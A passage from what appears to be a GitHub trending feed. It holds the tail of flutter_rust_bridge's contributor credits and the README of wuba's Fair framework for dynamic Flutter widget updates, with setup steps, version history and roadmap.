align="center" valign="top" width="14.28%"><a href="https://phlip9.com"><img src="https://avatars.githubusercontent.com/u/918989?v=4?s=100" width="100px;" alt="Philip Kannegaard Hayes"><br><sub><b>Philip Kannegaard Hayes</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=phlip9" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://thesimplekid.com"><img src="https://avatars.githubusercontent.com/u/8606367?v=4?s=100" width="100px;" alt="thesimplekid"><br><sub><b>thesimplekid</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=thesimplekid" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/jaiakash"><img src="https://avatars.githubusercontent.com/u/33419526?v=4?s=100" width="100px;" alt="Akash Jaiswal"><br><sub><b>Akash Jaiswal</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=jaiakash" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/MnlPhlp"><img src="https://avatars.githubusercontent.com/u/33608297?v=4?s=100" width="100px;" alt="Manuel Philipp"><br><sub><b>Manuel Philipp</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=MnlPhlp" title="Code">💻</a> <a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=MnlPhlp" title="Documentation">📖</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://github.com/lker-dev"><img src="https://avatars.githubusercontent.com/u/40730443?v=4?s=100" width="100px;" alt="Jonathan"><br><sub><b>Jonathan</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=lker-dev" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://lipoic.org"><img src="https://avatars.githubusercontent.com/u/48402225?v=4?s=100" width="100px;" alt="菘菘"><br><sub><b>菘菘</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=SiongSng" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://gutenfries.deno.dev"><img src="https://avatars.githubusercontent.com/u/79616833?v=4?s=100" width="100px;" alt="Marc Gutenberger"><br><sub><b>Marc Gutenberger</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=gutenfries" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/aran"><img src="https://avatars.githubusercontent.com/u/5295?v=4?s=100" width="100px;" alt="Aran Donohue"><br><sub><b>Aran Donohue</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=aran" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/powpingdone"><img src="https://avatars.githubusercontent.com/u/20116021?v=4?s=100" width="100px;" alt="Aidan"><br><sub><b>Aidan</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=powpingdone" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/vimaxwell"><img src="https://avatars.githubusercontent.com/u/19898639?v=4?s=100" width="100px;" alt="max"><br><sub><b>max</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=vimaxwell" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/DMouayad"><img src="https://avatars.githubusercontent.com/u/82384138?v=4?s=100" width="100px;" alt="Mouayad Alhamwi"><br><sub><b>Mouayad Alhamwi</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=DMouayad" title="Documentation">📖</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://blog.nightfeather.dev/"><img src="https://avatars.githubusercontent.com/u/77222233?v=4?s=100" width="100px;" alt="NightFeather"><br><sub><b>NightFeather</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=NightFeather0615" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/JustSimplyKyle"><img src="https://avatars.githubusercontent.com/u/68589851?v=4?s=100" width="100px;" alt="SimplyKyle!"><br><sub><b>SimplyKyle!</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=JustSimplyKyle" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://www.upsuper.org/"><img src="https://avatars.githubusercontent.com/u/333750?v=4?s=100" width="100px;" alt="Xidorn Quan"><br><sub><b>Xidorn Quan</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=upsuper" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/not-holar"><img src="https://avatars.githubusercontent.com/u/58831297?v=4?s=100" width="100px;" alt="Vitalii Hurianov"><br><sub><b>Vitalii Hurianov</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=not-holar" title="Documentation">📖</a></td> </tr> </tbody> </table> <!-- markdownlint-restore --> <!-- prettier-ignore-end --> <!-- ALL-CONTRIBUTORS-LIST:END --> <p>More specifically, thanks for all these contributions:</p> <ul> <li><a href="https://github.com/Desdaemon">Desdaemon</a>: Support not only simple enums but also enums with fields which gets translated to native enum or sealed freezed class in Dart. Support the Option type as nullable types in Dart. Support Vec of Strings type. Support tuple type. Support comments in code. Add marker attributes for future usage. Add Linux and Windows support for with-flutter example, and make CI works for that. Avoid parameter collision. Overhaul the documentation and add several chapters to demonstrate configuring a Flutter+Rust project in all five platforms. Refactor command module. Precompiled binary CI workflow. Fix bugs. Add support for the Web platform, parallel to the existing mobile/desktop platforms, via WASM and JavaScript as intermediate values. GitHub retry actions. Implement draft of opaque types. Refactor Boxed and Option. Impl list of dates. Parameter defaults. Refactor CLI. Refactor codegen errors.</li> <li><a href="https://github.com/rogurotus">rogurotus</a>: Add Rust opaque types, enabling arbitrary Rust structs to be used as opaque Dart objects by generating wrappers and raw Arc pointers, as well as Dart opaque types, allowing to use any Dart objects in Rust code. Extend <code>SyncReturn</code> for more types. Fix generation bug. Fix SyncReturn. Migrate to dart-sys. Update CI. Fix linters.</li> <li><a href="https://github.com/ngasull">ngasull</a>: Make sync mode support whatever types that classical async mode supports. Bump sdk.</li> <li><a href="https://github.com/SecondFlight">SecondFlight</a>: Allow structs and enums to be imported from other files within the crate by creating source graph. Auto-create relevant dir. Fix <code>store_dart_post_cobject</code> error with ffigen 6.0.</li> <li><a href="https://github.com/lattice0">lattice0</a>: Implement hierarchy of exceptions. Support methods, such that Rust struct impls can be converted to Dart class methods. StreamSink at any argument.</li> <li><a href="https://github.com/Unoqwy">Unoqwy</a>: Add struct mirrors, such that types in the external crates can be imported and used without redefining and copying.</li> <li><a href="https://github.com/antonok-edm">antonok-edm</a>: Avoid converting syn types to strings before parsing to improve code and be more robust.</li> <li><a href="https://github.com/sagudev">sagudev</a>: Make code generator a <code>lib</code>. Add error types. Depend on <code>cbindgen</code>. Fix LLVM paths. Update deps. Fix CI errors.</li> <li><a href="https://github.com/surban">surban</a>: Support unit return type. Skip unresolvable modules. Ignore prefer_const_constructors. Non-final Dart fields.</li> <li><a href="https://github.com/Roms1383">Roms1383</a>: Fix build_runner calling bug. Remove global <code>ffigen</code> dependency. Improve version check. Fix enum name-variant conflicts. Support Chrono date time and UUID types. Migrate to Rust 1.64 workspace. Update and refactor CI. Update header comments. Code cleanup.</li> <li><a href="https://github.com/GregoryConrad">GregoryConrad</a>: Add doc to setup frb inside a Dart/Flutter library.</li> <li><a href="https://github.com/dbsxdbsx">dbsxdbsx</a>: Allow generating multiple Rust and Dart files. Fix lint. Update doc. Add logging.</li> <li><a href="https://github.com/huang12zheng">huang12zheng</a>: Support type aliases and nested ones. Tweak code generation. Fix rust_build_and_test on Mac. Improve CI logic and cache. Remove bridge field in model.</li> <li><a href="https://github.com/trobanga">trobanga</a>: Add support for <code>[T;N]</code> structs. Add <code>usize</code> support. Add a cmd argument. Separate dart tests. Fix fallible list case.</li> <li><a href="https://github.com/MnlPhlp">MnlPhlp</a>: Support macros and will auto expand. Allow mirror types in streams.</li> <li><a href="https://github.com/SoLongAndThanksForAllThePizza">SoLongAndThanksForAllThePizza</a>: Refactor and enhance SyncReturn to support more types. Refactor post-release CI.</li> <li><a href="https://github.com/hsfzxjy">hsfzxjy</a>: Fix SyncReturn use-after-free bug.</li> <li><a href="https://github.com/Cupnfish">Cupnfish</a>: Support arrays as function parameters. Allow multi mirror.</li> <li><a href="https://github.com/alanlzhang">alanlzhang</a>: Add generation for Dart metadata. Enhance module parser. Fix enum in struct. Fix linter.</li> <li><a href="https://github.com/temeddix">temeddix</a>: Fix broken CI. Custom num workers. Fix MacOS doc steps. Update doc. Make zero-copy defaultable.</li> <li><a href="https://github.com/Zaitam">Zaitam</a>: Fix when method return struct. Partial migration to Dart 3.</li> <li><a href="https://github.com/erikas-taroza">erikas-taroza</a>: Support list of primitive enums. Make enum camelCase. Warn wrong path. Fix cargo expand.</li> <li><a href="https://github.com/nitn3lav">nitn3lav</a>: nested <code>struct</code>s without <code>Box</code>.</li> <li><a href="https://github.com/alexthe2">alexthe2</a>: Add Option Datetime. Add empty structs. Improve doc. Add <code>r#</code>. Fix mirror enum bug.</li> <li><a href="https://github.com/SiongSng">SiongSng</a>: Finish implementing exception hierarchy. Fix SyncReturn bug.</li> <li><a href="https://github.com/AlienKevin">AlienKevin</a>: Add flutter example for macOS. Add doc for Android NDK bug.</li> <li><a href="https://github.com/banool">banool</a>: Fix pubspec parsing. Fix symbol-stripping doc.</li> <li><a href="https://github.com/coder0xff">coder0xff</a>: Refactor SupportedInnerType. Extra codegen tester.</li> <li><a href="https://github.com/anlumo">anlumo</a>: Fix freezed + methods. Non-clone RustOpaque.</li> <li><a href="https://github.com/NightFeather0615">NightFeather0615</a>: Fix Vec bool.</li> <li><a href="https://github.com/powpingdone">powpingdone</a>: Document JNI init and libc++_static linking.</li> <li><a href="https://github.com/efc-mw">efc-mw</a>: Improve Windows encoding handling.</li> <li><a href="https://github.com/valeth">valeth</a>: Rename callFfi's port.</li> <li><a href="https://github.com/sccheruku">sccheruku</a>: Prevent double-generating utility.</li> <li><a href="https://github.com/jsonmona">jsonmona</a>: Add import.</li> <li><a href="https://github.com/upsuper">upsuper</a>: Refactor delegate-attr.</li> <li><a href="https://github.com/w-ensink">w-ensink</a>: Improve doc. Fix CI. Refactor. Add tests.</li> <li><a href="https://github.com/codercengiz">codercengiz</a>: Fix mirroring bug.</li> <li><a href="https://github.com/Michael-F-Bryan">Michael-F-Bryan</a>: Detect broken bindings.</li> <li><a href="https://github.com/phlip9">phlip9</a>: Fix no-serde compilation.</li> <li><a href="https://github.com/bus710">bus710</a>: Add a case in troubleshooting.</li> <li><a href="https://github.com/Demezy">Demezy</a>: Mention troubleshooting.</li> <li><a href="https://github.com/gutenfries">gutenfries</a>: Bump proc-macros.</li> <li><a href="https://github.com/anstadnik">anstadnik</a>: Check keywords.</li> <li><a href="https://github.com/aran">aran</a>: Fix pubspec. Bump version.</li> <li><a href="https://github.com/Syndim">Syndim</a>: Add a bracket to box.</li> <li><a href="https://github.com/TENX-S">TENX-S</a>: Improve doc. Reproduce a bug.</li> <li><a href="https://github.com/polypixeldev">polypixeldev</a>: Improve doc.</li> <li><a href="https://github.com/CicadaCinema">CicadaCinema</a>: Bump version. Improve doc.</li> <li><a href="https://github.com/w1th0utnam3">w1th0utnam3</a>: Improve message.</li> <li><a href="https://github.com/vincent-herlemont">vincent-herlemont</a>: Loosen version.</li> <li><a href="https://github.com/zaynetro">zaynetro</a>: Improve doc.</li> <li><a href="https://github.com/raphaelrobert">raphaelrobert</a>: Remove oudated doc.</li> <li><a href="https://github.com/DMouayad">DMouayad</a>: Improve doc.</li> <li><a href="https://github.com/elliotsayes">elliotsayes</a>: Improve doc.</li> <li><a href="https://github.com/tmpfs">tmpfs</a>: Improve doc.</li> <li><a href="https://github.com/thomas725">thomas725</a>: Improve doc.</li> <li><a href="https://github.com/juzi5201314">juzi5201314</a>: Improve doc.</li> <li><a href="https://github.com/Voklen">Voklen</a>: Improve doc.</li> <li><a href="https://github.com/svenstaro">svenstaro</a>: Improve doc.</li> <li><a href="https://github.com/utilForever">utilForever</a>: Fix typos.</li> <li><a href="https://github.com/not-holar">not-holar</a>: Fix typos.</li> <li><a href="https://github.com/Stonks3141">Stonks3141</a>: Fix doc credit.</li> <li><a href="https://github.com/vimaxwell">vimaxwell</a>: Fix doc link.</li> <li><a href="https://github.com/lker-dev">lker-dev</a>: Fix doc link.</li> <li><a href="https://github.com/jaiakash">jaiakash</a>: Fix doc link.</li> <li><a href="https://github.com/feber">feber</a>: Fix doc link.</li> <li><a href="https://github.com/satvikpendem">satvikpendem</a>: Little co-work #989.</li> <li><a href="https://github.com/rustui">rustui</a>: Fix a typo.</li> <li><a href="https://github.com/escwxyz">escwxyz</a>: Fix a typo.</li> <li><a href="https://github.com/eltociear">eltociear</a>: Fix a typo.</li> <li><a href="https://github.com/thesimplekid">thesimplekid</a>: Fix a typo.</li> </ul> - - - wuba/Fair - 2023-09-24T01:48:43Z - tag:github.com,2023-09-24:/wuba/Fair - - <p>A Flutter package used to update widget tree dynamically. Fair提供一整套Flutter动态化解决方案</p><hr><p><img src="https://raw.githubusercontent.com/wuba/Fair/main/resources/social-dark.png" alt="social preview"></p> <!-- ALL-CONTRIBUTORS-BADGE:START - Do not remove or modify this section --> <p align="center"> <a href="https://pub.dev/packages/fair"><img src="https://img.shields.io/badge/pub-3.2.1-orange" alt="pub"></a> <a href="https://github.com/wuba/fair"><img src="https://img.shields.io/badge/platform-flutter-blue.svg?sanitize=true" alt="github"></a> <a href="https://fair.58.com/"><img src="https://img.shields.io/badge/doc-fair.58.com-green.svg?sanitize=true" alt="doc"></a> <a href="https://github.com/wuba/fair/LICENSE"><img src="https://img.shields.io/badge/license-BSD-green.svg?sanitize=true" alt="license"></a> <a href="https://github.com/wuba/fair/actions"><img src="https://github.com/wuba/fair/workflows/build/badge.svg?sanitize=true" alt="build"></a> <a href="https://gitter.im/flutter_fair/community?utm_source=badge&amp;utm_medium=badge&amp;utm_campaign=pr-badge"><img src="https://badges.gitter.im/flutter_fair/community.svg?sanitize=true" alt="Gitter"></a> </p> <p><a href="https://raw.githubusercontent.com/wuba/Fair/main/README-zh.md">简体中文</a>|<a href="https://raw.githubusercontent.com/wuba/Fair/main/README.md">English</a></p> <hr> <p>Fair is a dynamic framework designed for Flutter. Through the automatic conversion of native Dart source files by the Fair Compiler tool, the project can obtain the ability to dynamically update the Widget Tree and State.</p> <p>The goal of creating Fair is to support updates through business bundles and JS distribution without the release of versions (Android, iOS, Web), similar to React Native. After integrating with Flutter Fair, you can quickly publish new pages without waiting for your app's next release date. Fair provides standard widgets, which can be used as a new dynamic page or as part of an existing Flutter page, such as typography/style modification of operation bits, full page replacement, partial replacement, etc.</p> <p><img src="https://raw.githubusercontent.com/wuba/Fair/main/resources/what-is-fair-en.png" alt=""></p> <p>Fair's UI rendering is lossless and can be restored at the pixel level. Take a look at the effect of escaping some pages of Best Flutter UI Templates:</p> <p><img src="https://raw.githubusercontent.com/wuba/Fair/main/resources/best-ui-template.png" alt="best-ui-template"></p> <blockquote> <p>The project used is from <a href="https://github.com/mitesh77/Best-Flutter-UI-Templates">https://github.com/mitesh77/Best-Flutter-UI-Templates</a> <br> location:/example/lib/best_flutter_ui</p> </blockquote> <h2>🏛Architecture</h2> <p><img src="https://raw.githubusercontent.com/wuba/Fair/main/resources/fair.png" alt="fair architecture"></p> <h2>🚀 Running</h2> <p>Use Flutter Fair require few steps.</p> <p><strong>step1:download fair project source code</strong></p> <p>It is recommended to download <a href="https://github.com/wuba/fair">fair</a> to the local and dependencies on the relative path.</p> <p>The download method is as follows:</p> <pre><code>git clone https://github.com/wuba/fair.git </code></pre> <p><strong>step2:Add dependency inside <code>pubspec.yaml</code></strong></p> <p>Assuming that the fair project and your own project are in the same folder:</p> <pre><code class="language-yaml"># add Fair dependency dependencies: fair: 3.2.1 # add build_runner and compiler dependency dev_dependencies: build_runner: ^2.0.0 fair_compiler: ^1.7.0 # switch "fair_version" according to the local Flutter SDK version # Flutter SDK 3.7.x(3.7.0、3.7.1、3.7.2、3.7.3、3.7.4、3.7.5、3.7.6、3.7.7、3.7.8、3.7.9、3.7.10) -&gt; flutter_3_7_0 # Flutter SDK 3.3.x(3.3.0、3.3.1、3.3.2、3.3.3、3.3.4、3.3.5、3.3.6、3.3.7、3.3.8、3.3.9、3.3.10) -&gt; flutter_3_3_0 # Flutter SDK 3.0.x(3.0.0、3.0.1、3.0.2、3.0.3、3.0.4、3.0.5) -&gt; flutter_3_0_0 # Flutter SDK 2.10.x(2.10.0、2.10.1、2.10.2、2.10.3) -&gt; flutter_2_10_0 # Flutter SDK 2.8.x(2.8.0、2.8.1) -&gt; flutter_2_8_0 # Flutter SDK 2.5.x(2.5.0、2.5.1、2.5.2、2.5.3) -&gt; flutter_2_5_0 # Flutter SDK 2.0.6 -&gt; flutter_2_0_6 # Flutter SDK 1.22.6 -&gt; flutter_1_22_6 dependency_overrides: fair_version: path: ../fair/flutter_version/flutter_3_7_0 </code></pre> <p><strong>step3:Wrap your app with FairApp Widget</strong></p> <pre><code class="language-dart">void main() { WidgetsFlutterBinding.ensureInitialized(); FairApp.runApplication( _getApp(), plugins: { }, ); } dynamic _getApp() =&gt; FairApp( modules: { }, delegate: { }, child: MaterialApp( home: FairWidget( name: 'DynamicWidget', path: 'assets/bundle/lib_src_page_dynamic_widget.fair.json', data: {"fairProps": json.encode({})}), ), ); </code></pre> <p><strong>step4:Import a dynamic widget as FairWidget</strong></p> <pre><code class="language-dart">FairWidget( name: 'DynamicWidget', path: 'assets/bundle/lib_src_page_dynamic_widget.fair.json', data: {"fairProps": json.encode({})}), </code></pre> <h2>DevTools</h2> <p>fair development tools</p> <h3>Dart Commandline Tool <a href="https://pub.dev/packages/faircli">faircli</a></h3> <p>create fair project</p> <p><strong>faircli install</strong></p> <pre><code class="language-dart">dart pub global activate faircli </code></pre> <p><strong>create fair dynamic project</strong></p> <pre><code class="language-dart">faircli create -n dynamic_project_name </code></pre> <p><strong>create fair carrier project</strong></p> <pre><code class="language-dart">faircli create -k carrier -n carrier_project_name </code></pre> <h3>IDEA Plugin <a href="https://plugins.jetbrains.com/plugin/20323-fairtemplate">FairTemplate</a></h3> <p>Page/Component Template Code</p> <img src="https://raw.githubusercontent.com/wuba/Fair/main/resources/fair_template.png" width="80%"> <h3>DevTools flow chart</h3> <p><img src="https://raw.githubusercontent.com/wuba/Fair/main/resources/fair_tools.png" alt="fair tools"></p> <h3>DevTools demo</h3> <p>After using faircli to configure the local hot update service, open the developer options on the mobile device, select the local mode, enter the ip of the development machine, then preview fair dynamic effect</p> <div align="center"> <img src="https://raw.githubusercontent.com/wuba/Fair/main/resources/fair_tools.gif" width="30%"> </div> <p>For more details, please refer to <a href="https://raw.githubusercontent.com/wuba/Fair/main/fair_tools.md">fair_tools</a></p> <h2>Fair-Online Platform</h2> <p>Fair-Online is an integrated cloud development platform for Flutter developers, from online development of Flutter, to real-time compilation and preview, packaging and publishing, and dynamic release of end-side updates, to realize the dynamic online Flutter.</p> <p>Developers do not need to configure the Flutter development environment, develop and debug code online, compile and preview in real time, and what you see is what you get. Combined with the Flutter dynamic framework Fair and the hot update platform FairPushy created by the 58 open source team, Flutter online dynamics are realized.</p> <div align="center"> <img src="https://raw.githubusercontent.com/wuba/Fair/main/fair_online/fair_online.gif" width="90%"> </div> <p>Online experience URL: <a href="https://fair-online.58.com/">Fair-Online Platform</a></p> <p>For more details, please refer to <a href="https://raw.githubusercontent.com/wuba/Fair/main/fair_online/README.md">fair_online</a></p> <h2>Documentation</h2> <p>For more details, please refer to <a href="https://fair.58.com">https://fair.58.com</a></p> <h3>Tools</h3> <p>Fair Cli: <a href="https://pub.dev/packages/faircli">Fair_CLI</a><br> IEDA plugin: <a href="https://plugins.jetbrains.com/plugin/20323-fairtemplate">jetbrains_plugin_fair_template</a><br> Hot update platform: <a href="https://github.com/wuba/FairPushy">FAIR PUSHY</a></p> <h2>versions</h2> <h2>3.10.0</h2> <p>updateDate: 2023.08.15</p> <ul> <li>Adapted to Flutter 3.10.0, released Fair Version 3.10</li> <li>Fix known bugs, fix DSL parser issues</li> </ul> <h3>3.2.1</h3> <p>updateDate:2023.04.13</p> <ul> <li>Fixed some issues.</li> </ul> <h3>3.2.0</h3> <p>updateDate:2023.04.12</p> <ul> <li>Adjust the order of dispose calls, not above the tree, subsequent operations stop</li> <li>Add generic FairPlugin js and dart code, reuse the same interaction logic, add example comments</li> <li>Json parsing compatibility</li> <li>Add exception catching and log printing when executeFunction is called with V8 engine in Android</li> <li>Fix SliverGridDelegateWithFixedCrossAxisCount conversion error.</li> <li>SugarMap and SugarMapEach inputs support other Sugar expressions</li> <li>Optimize the performance of ifEqual ifEqualBool switchCase</li> <li>Fix Domain not recognizing index and item in sugar</li> <li>Make AOT also follow conditions before executing code</li> <li>Fix SugarMap and SugarMapEach set input does not support other Sugar syntax</li> <li>Abstract Domain, add IndexDomain, MapEachDomain, support nested Domains</li> <li>New FunctionDomain generic Domain, generate corresponding parameters for function callbacks for FunctionDomain to use.</li> <li>Added NullableIndexedWidgetBuilder, IndexedWidgetBuilder, WidgetBuilder, TransitionBuilder common Sugar support</li> <li>Some known issues fixed</li> </ul> <h3>3.1.0</h3> <p>updateDate:2023.03.14</p> <ul> <li>Upgrade analyzer library to 5.5.0;</li> <li>Dart function to JS supports parameter passing;</li> <li>JS Object value compatibility;</li> <li>Remove kotlin dependencies from fair/android;</li> <li>Add custom parsing for IconData;</li> <li>The generation of optional positional parameters is modified to obtain pa;</li> <li>Fixed missing OptionalPositional default values;</li> <li>Remove the generation time from the generation.fair. dart comment;</li> <li>Added the ignore unnecessary_import operation;</li> <li>Fixed incorrect assignment of Sugar.switchCase key and defaultValue;</li> <li>binding was changed to SplayTreeMap to increase search efficiency, especially for lists, where duplicate tags are searched for a short time;</li> <li>Exposing specialBinding so that users can override a value;</li> <li>When the provider is added to the _binding, the Settings set by the user prevail for quick modification;</li> <li>Fixed the loadCoreJs package splicing problem;</li> <li>Reduced minSdkVersion to 16;</li> <li>runApplication supports specifying the package in which the JS resides;</li> <li>Fixed error in calling context in the _reload method.</li> </ul> <h3>3.0.0</h3> <p>updateDate:2022.11.17</p> <ul> <li>Fix class constructor parsing exception.</li> <li>Fair Compatible Web.</li> <li>Bindmap logic optimization.</li> </ul> <h3>2.8.1</h3> <p>updateDate:2022.11.01</p> <ul> <li>Fixed:CustomScrollView reference external function builder bug.</li> </ul> <h3>2.8.0</h3> <p>updateDate:2022.10.21</p> <ul> <li>Add support of Flutter SDK 3.3.0+.</li> <li>Add Sugar:Sugar.isNestedScrollViewHeaderSliversBuilder、Sugar.isButtonStyle、Sugar.isDuration、Sugar.popMenuButton、Sugar.sliverChildBuilderDelegate、Sugar.sliverGridDelegateWithFixedCrossAxisCount.</li> <li>Fixed some bugs.</li> </ul> <h3>2.7.0</h3> <p>updateDate:2022.08.10</p> <ul> <li>Add support of Flutter SDK 3.0.0、3.0.1、3.0.2、3.0.3、3.0.4、3.0.5.</li> <li>Fixed some bugs.</li> </ul> <h4>Fair</h4> <ul> <li>Fair supports loading bundle files on the phone disk path;</li> <li>Adapt to Flutter SDK 2.10.0, 2.10.1, 2.10.2, 2.10.3;</li> <li>Dart2JS supports parsing static methods;</li> <li>When running, the page error message prompts optimization;</li> <li>Syntactic sugar supports parsing Model data.</li> </ul> <h3>2.6.0</h3> <p>updateDate:2022.07.05</p> <h4>Fair</h4> <ul> <li>Fair supports loading bundle files on the phone disk path;</li> <li>Adapt to Flutter SDK 2.10.0, 2.10.1, 2.10.2, 2.10.3;</li> <li>Dart2JS supports parsing static methods;</li> <li>When running, the page error message prompts optimization;</li> <li>Syntactic sugar supports parsing Model data.</li> </ul> <h3>2.5.0</h3> <p>updateDate:2022.05.31</p> <h4>Fair</h4> <p>Adapt to flutter SDK 2.8.0, 2.8.1<br> Dart2js supports parsing singletons<br> New syntax Sugar.switchCase、Sugar.colorsWithOpacity、Sugar.convertToString, etc</p> <h4>example</h4> <p>Comprehensively optimize the example structure and upgrade the example experience, which is more suitable for beginners.</p> <p>In the source code, an example project is added to provide the standard usage of fair API.</p> <p>example location:<code>fair/example</code></p> <h3>v2.4.1</h3> <p>updateDate:2022.05.12</p> <p>Fix FairLogger import problem.<br> Upgrade Analyzer to 2.3.0.</p> <h3>v2.4.0</h3> <p>updateDate:2022.04.26</p> <p>FlatBuffers supports generating bin files in a null safe environment</p> <h3>v2.3.0</h3> <p>updateDate: 2022.04.22</p> <h4>Fair</h4> <p>supports null-safe<br> Adapt to Flutter SDK 2.5.0, 2.5.1, 2.5.2, 2.5.3 and other versions</p> <h4>demo</h4> <p>Upgrade the outdated demo in the sample project<br> Supplement the iOS runtime environment in the sample project</p> <h2>🕰2022 Roadmap</h2> <ul> <li>Major release plan <ul> <li>null-safe version support, expected to be launched on April 22 ✅</li> <li>Flutter 2.8.0 version adaptation, expected to be launched in mid-May ✅</li> <li>Flutter 2.10.0 version adaptation, is expected to be launched in early June ✅</li> <li>Flutter 3.0 version adaptation ✅</li> <li>IDE syntax detection and hint plugin ✅</li> <li>Rich syntactic sugar ✅</li> </ul> </li> <li>Hot update platform <ul> <li>Dart Server project construction ✅</li> <li>Flutter Web project construction ✅</li> <li>Patch/resource management ✅</li> <li>Project management ✅</li> <li>Mobile Update&amp;Download ✅</li> </ul> </li> <li>Online dynamic <ul> <li>Flutter Web project construction ✅</li> <li>Dart Server project construction ✅</li> <li>ActionEdit ✅</li> <li>Code editing ✅</li> <li>Component editing ✅</li> <li>Page editing ✅</li> <li>Engineering editor ✅</li> <li>Flutter effect preview ✅</li> <li>Fair DSL preview ✅</li> </ul> </li> <li>IDE plug-in <ul> <li>Fair project generation ✅</li> <li>Fair template generation ✅</li> <li>Fair syntax detection ✅</li> </ul> </li> </ul> <h2>📱Accessed APPs</h2> <table> <tbody> <tr> <td align="center"><img src="https://pic3.58cdn.com.cn/nowater/frs/n_v303052b2c3f3b4ea5a5989f5e52d71481.jpg" width="100px;" alt=""><br><sub><b>58阿姨</b></sub><br></td> <td align="center"><img src="https://pic5.58cdn.com.cn/nowater/frs/n_v3ba05182f1dc9460dab8e02d22914f700.jpg" width="100px;" alt=""><br><sub><b>移动经纪人</b></sub><br></td> <td align="center"><img src="https://pic7.58cdn.com.cn/nowater/frs/n_v35eecf738ac6c4ec992bfc0d1b8d910d4.jpg" width="100px;" alt=""><br><sub><b>安居拍房</b></sub><br></td> <td align="center"><img src="https://pic1.58cdn.com.cn/nowater/frs/n_v3b4fd1abf1e484d3da864a177a12a28e2.jpg" width="100px;" alt=""><br><sub><b>神奇保</b></sub><br></td> <td align="center"><img src="https://pic6.58cdn.com.cn/nowater/frs/n_v36e650b70b7834204959547bf616869ef.jpg" width="100px;" alt=""><br><sub><b>58商办通</b></sub><br></td> <td align="center"><img src="https://pic1.58cdn.com.cn/nowater/frs/n_v378fdb523858b4475b05fb04f66f105ae.jpg" width="100px;" alt=""><br><sub><b>58商家版</b></sub><br></td> <td align="center"><img src="https://pic6.58cdn.com.cn/nowater/frs/n_v31394c57d6c234aecad820c94dd1c8dc6.png" width="100px;" alt=""><br><sub><b>中华英才网</b></sub><br></td> </tr> </tbody> </table> <h2>✨Contributors</h2> <p>Thanks goes to these wonderful people (<a href="https://allcontributors.org/docs/en/emoji-key">emoji key</a>):</p> <!-- ALL-CONTRIBUTORS-LIST:START - Do not remove or modify this section --> <!-- prettier-ignore-start --> <!-- markdownlint-disable --> <table> <tbody> <tr> <td align="center"><a href="https://github.com/gongpengyang"><img src="https://avatars.githubusercontent.com/u/11691321?v=4?s=100" width="100px;" alt=""><br><sub><b>gongpengyang</b></sub></a><br><a href="https://github.com/wuba/fair/commits?author=gongpengyang" title="Code">💻</a></td> <td align="center"><a href="https://github.com/XIAOYUAOQISHI"><img src="https://avatars.githubusercontent.com/u/25222933?v=4?s=100" width="100px;" alt=""><br><sub><b>qixu</b></sub></a><br><a href="https://github.com/wuba/fair/commits?author=XIAOYUAOQISHI" title="Code">💻</a></td> <td align="center"><a href="https://yancechen.github.io/"><img src="https://avatars.githubusercontent.com/u/19757728?v=4?s=100" width="100px;" alt=""><br><sub><b>陈有余</b></sub></a><br><a href="https://github.com/wuba/fair/commits?author=yancechen" title="Code">💻</a></td> <td align="center"><a href="https://github.com/yyzl0418"><img src="https://avatars.githubusercontent.com/u/14289945?v=4?s=100" width="100px;" alt=""><br><sub><b>yangyang</b></sub></a><br><a href="https://github.com/wuba/fair/commits?author=yyzl0418" title="Code">💻</a></td> <td align="center"><a href="https://github.com/wanbing"><img src="https://avatars.githubusercontent.com/u/7804234?v=4?s=100" width="100px;" alt=""><br><sub><b>wan</b></sub></a><br><a href="https://github.com/wuba/fair/commits?author=wanbing" title="Code">💻</a></td> <td align="center"><a href="https://github.com/bujiee"><img src="https://avatars.githubusercontent.com/u/16713978?v=4?s=100" width="100px;" alt=""><br><sub><b>bujie</b></sub></a><br><a href="https://github.com/wuba/fair/commits?author=bujiee" title="Code">💻</a></td> <td align="center"><a href="https://github.com/windkc"><img src="https://avatars.githubusercontent.com/u/59242966?v=4?s=100" width="100px;" alt=""><br><sub><b>Kc</b></sub></a><br><a href="https://github.com/wuba/fair/commits?author=windkc" title="Code">💻</a></td> <td align="center"><a href="http://blog.hacktons.cn/"><img src="https://avatars.githubusercontent.com/u/1622234?v=4?s=100" width="100px;" alt=""><br><sub><b>Wu</b></sub></a><br><a href="https://github.com/wuba/fair/commits?author=avenwu" title="Code">💻</a> <a 